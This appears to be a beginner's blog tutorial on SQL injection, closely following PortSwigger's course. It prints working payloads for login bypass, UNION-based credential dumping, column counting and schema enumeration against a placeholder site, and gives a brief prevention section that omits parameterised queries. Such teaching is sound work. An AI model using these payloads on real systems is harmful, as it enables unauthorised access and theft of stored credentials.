Learn SQLI | Basics of SQLI

noobsixt9
9 min readJul 7, 2022

Hello hackers, Today we will learn about SQl injection vulnerability.what is sql and sqli,how to detect them,how to use them to extract information,how to prevent them.

SQL

SQL is the abbreviation of Structured Query Language. SQL is s a database computer language designed for the retrieval and management of data in a relational database management system.

SQL INJECTION

SQL Injection also known as SQLI is a vulnerability that occurs in web application when user inputs without sanitized or filtered directly put into the SQL query that access the DBMS. SQLI allows attackers to interfere with queries that an application makes to it’s database. With this interference in queries can be used to extract confidential user data from the database like usernames,passwords,credit card details, not only we can extract data we can manipulate data, delete data also.

Retrieving hidden data

Let’s assume there is an insecure web application which shows products available. When users clicks on a books category the website requests following url:

https://www.insecure-web.com/products?category=books

This causes the application to run following SQL query to it’s database:

SELECT * FROM products WHERE category=’books’

This query runs in the background so we can’t really see it. Let’s see what is really going on here:

SELECT : Selects
* : All details
FROM: From products table
WHERE: Where category is books

when we add all we get a command saying “select all details from products table where category name is books”. This command is sent to the database and the database follows it. It searches for the table name products if it finds it then it searches for column named category and under that category it searches for books. If it finds it then it sends response back saying here are the all details of books and we see it on website.

Now, let’s assume the website is have some unreleased books products and we want to see them but there is not any option for that. How can we do that? Yes, We give the website an injection. How do we do that? We interfere with SQL query:

https://www.insecure-web.com/products?category=books’ AND released=1

This changes the SQL query to this:

SELECT * FROM products WHERE category = ‘books’ AND released = 1

Here, released = 1 shows all the products including unreleased books.

Subverting Application Logic

If a users sends his username ‘victim’ and password ‘stupid123’ ,the application runs a SQL query to check it’s database if the provided credentials are there or not. Web application runs the following SQL query:

SELECT * FROM users WHERE username=’hackerboi’ AND password=’hackme69'

If query returns details of user then login successful else invalid login credentials pops up.
So, if an application is vulnerable to SQLI we can bypass it by modifying the query:

SELECT * FROM users WHERE username=’hackerboi’ OR 1=1- -
password=’asassd’

This query runs and check for hackerboi which is obviously not there so it checks 1=1 which is always true and it let us login successfully. But only if application is vulnerable and it doesn’t have any user input filters.

Retrieving Data From Database

Now let’s assume that the application is vulnerable to SQLI and it returns SQL query results in application response then we can leverage that to retrieve data from the database.
For example if an application executes following query:

SELECT * FROM products WHERE category=’books’

Then attacker can change this query to the following query. Assuming there is an users table and username,password columns. we will learn to enumerate tables and columns but for now let’s assume they are in the database.

SELECT * FROM products WHERE category=’books’ UNION SELECT username,password FROM users- -

This query will show us books as well as it will also show us the data in the username and password column in the application response.

SQL Injection UNION attacks

UNION keyword let us to use multiple queries and append the results to the original query. UNION keyword is used to retrieve data from other tables within database which is known as UNION attacks.

SELECT a,b FROM table_1 UNION SELECT c,d FROM table_2

It will return 2 columns containing values of column a and b in table_1 and values of c,d in table_2.

Requirements
There are some requirements you must need to meet in order to UNION attack run successfully.
-individual queries must return same number of columns
-data types in each column must be compatible between individual queries

Now, to meet the above requirements we have to figure out:
-How many columns are returned from original query?
-Which column is returned from the original query have suitable data type to hold the result from injected query? This means to check which column accepts which kind of data types like string or integers. For example:

SELECT * FROM products WHERE category=’books’ : this is our original query and we found out this query returns one column.

SELECT * FROM products WHERE category=’books’ UNION SELECT NULL- -
Here we found it returns one column now let’s say we want to dump usernames which is stored in characters meaning strings. Now we have to check either that one returned column accepts string data type or not. If yes we can dump our string data in that column.

SELECT * FROM products WHERE category=’books’ UNION SELECT ‘a’- -
Where ‘a’ is a string and when we pass this query and it doesn’t pops up errors we can confirm that column accepts string data type and dump our username there:

SELECT * FROM products WHERE category=’books’ UNION SELECT username FROM users- -
Dumps all username from user tables.

Determining Number of Columns Required in SQL Injection UNION Attack

— First Method
Injecting series of ORDER BY clause and incrementing specified column index.
‘ORDER BY 1- -
‘ORDER BY 2- -
‘ORDER BY 3- -
.
.
We keep doing it until we stop seeing this kind of error:
The ORDER BY position number 3 is out of range of the number of items in the select list.

— Second Method
Submitting UNION SELECT payloads specifying different number of NULL values.
‘UNION SELECT NULL- -
‘UNION SELECT NULL,NULL- -
‘UNION SELECT NULL,NULL,NULL- -
.
.
We keep adding NULL value until we stop getting error like this one:
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

NOTE:
-Error may vary from database to database
-The reason for using NULL as the values returned from the injected SELECT query is that the data types in each column must be compatible between the original and the injected queries. Since NULL is convertible to every commonly used data type, using NULL maximizes the chance that the payload will succeed when the column count is correct.
-On Oracle, every SELECT query must use the FROM keyword and specify a valid table. There is a built-in table on Oracle called dual which can be used for this purpose. So the injected queries on Oracle would need to look like: ‘ UNION SELECT NULL FROM DUAL —
-The payloads described use the double-dash comment sequence — to comment out the remainder of the original query following the injection point. On MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character # can be used to identify a comment

Finding Columns With Suitable Datatype in SQL Injection Attack

Now after finding number of columns returned we can head towards which columns accept the data type we need in order to dump data. Generally, the interesting data that we want to retrieve will be in string form, so we need to find one or more columns in the original query results whose data type is, or is compatible with, string data.
‘UNION SELECT ‘a’- -
‘UNION SELECT NULL,’a’,NULL- -
‘UNION SELECT NULL,NULL,’a’- -
.
.
we keep checking which column support string data type and which column does not. If we don’t get an error we can confirm that column accepts string data type:
Conversion failed when converting the varchar value ‘a’ to data type int.

Using SQL Injection UNION Attack to Retrieve Interesting Data

Suppose:
-Our original query returns 2 columns and both supports string data types
-Injection point is quoted string in WHERE clause
-Database contains users table with username,password column.

Now we can retrieve data using following query:
SELECT * FROM products WHERE category=’books’ UNION SELECT username,password FROM users- -

This query will show us books and also append the contents of username and password in it.

Querying Database in SQLI Attacks to Gather Information About Database
There are hundreds of different databases programs. And every database is differ from one another. They have different commands, functions which doesn’t work in each other. That is why we must have to know which kind of database is our target web application using only after that we will be able to extract information from it using suitable commands, syntax and functions.

We can find out about database types by viewing their versions. We can do that using built in commands for different databases:

example:
http://www.insecure-web.com/products?category=books’ UNION SELECT @@version- -
SQL Query Performed:
SELECT * FROM products WHERE category=’books’ UNION SELECT @@version- -

If this query runs successfully and gives us result then we can confirm this database i s mySQL.

Listing the Contents of Databases

Most database type except Oracle have a set of view information_schema which provides information about database.

SELECT * FROM information_schema.tables
This will show us all the tables in the database.

This provided us 3 tables. We can further enumerate tables using following query:

SELECT * FROM information_schema.columns WHERE table_name=’users’

This will print every column from the table users.After this we can easily dump data reside in the columns. For example let’s assume the above query gave us 2 columns username,password then we can execute following query:

SELECT username,password FROM users

That’s it, it will print all the data stored in username and password columns.

Equivalent to information_schema on Oracle

Unlike other database type oracle doesn’t have information_schema what it does have is all_tables. We can use it just the way we used information schema to gather details about database:

SELECT * FROM all_tables

SELECT * FROM all_tab_columns WHERE table_name=’users’

SELECT username,password FROM users

How to Detect SQLI Vulnerabilities?

We can detect SQLI vulnerabilities from multiple ways including manually or using automated vulnerability scanner tool like burpsuite. Some of them are mentioned below:

-By using web vulnerability scanner in burpsuite
-Submitting single quote ‘ and looking for errors
-Submitting some SQL-specific syntax that evaluates to the base value of entry point and to a different value, looking for systematic differences in application responses. In short just use different payloads like 1=1 and 1=2 to check if there is any differences in application responses.(Blind SQLI detection, more on this later)
-Submitting OAST payloads designed to trigger out of band network interaction.(Blind SQLI detection, more on this later)
-Submitting payloads designed to trigger time delays.(Blind SQLI detection,, more on this later)

SQL Injection in Different Parts of Query

-Most SQLI vulnerability arises within WHERE clause of SELECT query
-UPDATE statements, within the updated values or the WHERE clause
-INSERT statements, within inserted value
-SELECT statements, within table or column name
-SELECT statements, within ORDER BY clause

How to Prevent SQLI vulnerability?

The one and only solution is to sanitize or filter user input before placing them into the SQL query and avoid use of directly putting user input into SQL query.

EOF

This was the basics of SQL Injection hope you learned something from this. I know this post’s content is very much similar to portswigger’s SQLI. It’s because i learned from that and the topic is same too :)

I am putting some resources link for SQLI:

https://portswigger.net/web-security/sql-injection
https://owasp.org/www-community/attacks/SQL_Injection
https://tryhackme.com/room/sqlinjectionlm
https://github.com/alexbieber/Bug_Bounty_writeups#sql-injectionsqli

I think this will be more than enough for you to learn about SQLI and another thing only theory is not enough to learn, you have to put it in effort by that i meant you have to do labs,ctfs,read writeups practical stuffs to learn.

There is another section of Blind SQLI and SQLI Bypassing WAF. I will write on those soon. Till then goodbye. Keep learning, Keep hacking.❤

--

--

noobsixt9

Cybersecurity enthusiast, noob programmer and after joining medium probably a writer too HAHAHA